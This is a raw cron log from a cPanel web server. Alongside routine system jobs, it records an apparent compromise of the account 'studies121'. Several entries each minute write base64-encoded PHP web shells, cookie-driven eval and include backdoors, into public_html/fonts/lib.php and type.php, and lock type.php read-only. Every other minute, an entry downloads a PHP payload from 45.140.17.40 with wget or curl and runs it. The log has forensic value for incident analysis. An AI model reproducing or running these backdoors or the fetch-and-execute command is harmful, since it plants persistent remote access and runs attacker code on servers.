Sep 22 19:10:01 ip-184-168-122-23 CROND[19587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:10:01 ip-184-168-122-23 CROND[19588]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 19:10:01 ip-184-168-122-23 CROND[19590]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 19:10:01 ip-184-168-122-23 CROND[19594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:10:01 ip-184-168-122-23 CROND[19599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:10:01 ip-184-168-122-23 CROND[19600]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:10:01 ip-184-168-122-23 CROND[19597]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 19:11:01 ip-184-168-122-23 CROND[21227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:11:01 ip-184-168-122-23 CROND[21229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:11:01 ip-184-168-122-23 CROND[21230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:11:01 ip-184-168-122-23 CROND[21235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:12:01 ip-184-168-122-23 CROND[22256]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:12:01 ip-184-168-122-23 CROND[22257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:12:01 ip-184-168-122-23 CROND[22261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:12:01 ip-184-168-122-23 CROND[22262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:12:01 ip-184-168-122-23 CROND[22263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:13:01 ip-184-168-122-23 CROND[23035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:13:01 ip-184-168-122-23 CROND[23036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:13:01 ip-184-168-122-23 CROND[23037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:13:01 ip-184-168-122-23 CROND[23041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:14:01 ip-184-168-122-23 CROND[23787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:14:01 ip-184-168-122-23 CROND[23789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:14:01 ip-184-168-122-23 CROND[23790]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:14:01 ip-184-168-122-23 CROND[23791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:14:01 ip-184-168-122-23 CROND[23792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:15:01 ip-184-168-122-23 CROND[24515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:15:01 ip-184-168-122-23 CROND[24515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:15:01 ip-184-168-122-23 CROND[24516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:15:01 ip-184-168-122-23 CROND[24515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:15:01 ip-184-168-122-23 CROND[24516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:15:01 ip-184-168-122-23 CROND[24518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:15:01 ip-184-168-122-23 CROND[24521]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 19:15:01 ip-184-168-122-23 CROND[24522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:15:01 ip-184-168-122-23 CROND[24520]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 19:16:01 ip-184-168-122-23 CROND[25278]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 19:16:01 ip-184-168-122-23 CROND[25279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:16:01 ip-184-168-122-23 CROND[25280]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:16:01 ip-184-168-122-23 CROND[25285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:16:02 ip-184-168-122-23 CROND[25287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:16:02 ip-184-168-122-23 CROND[25286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:17:01 ip-184-168-122-23 CROND[26111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:17:01 ip-184-168-122-23 CROND[26113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:17:01 ip-184-168-122-23 CROND[26115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:17:01 ip-184-168-122-23 CROND[26116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:18:01 ip-184-168-122-23 CROND[26568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:18:01 ip-184-168-122-23 CROND[26571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:18:01 ip-184-168-122-23 CROND[26570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:18:01 ip-184-168-122-23 CROND[26573]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:18:01 ip-184-168-122-23 CROND[26572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:19:01 ip-184-168-122-23 CROND[26888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:19:01 ip-184-168-122-23 CROND[26889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:19:01 ip-184-168-122-23 CROND[26892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:19:01 ip-184-168-122-23 CROND[26893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:20:01 ip-184-168-122-23 CROND[27661]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 19:20:01 ip-184-168-122-23 CROND[27663]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:20:01 ip-184-168-122-23 CROND[27665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:20:01 ip-184-168-122-23 CROND[27666]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 19:20:01 ip-184-168-122-23 CROND[27669]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 19:20:01 ip-184-168-122-23 CROND[27668]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 19:20:01 ip-184-168-122-23 CROND[27670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:20:01 ip-184-168-122-23 CROND[27672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:20:01 ip-184-168-122-23 CROND[27671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:21:01 ip-184-168-122-23 CROND[28376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
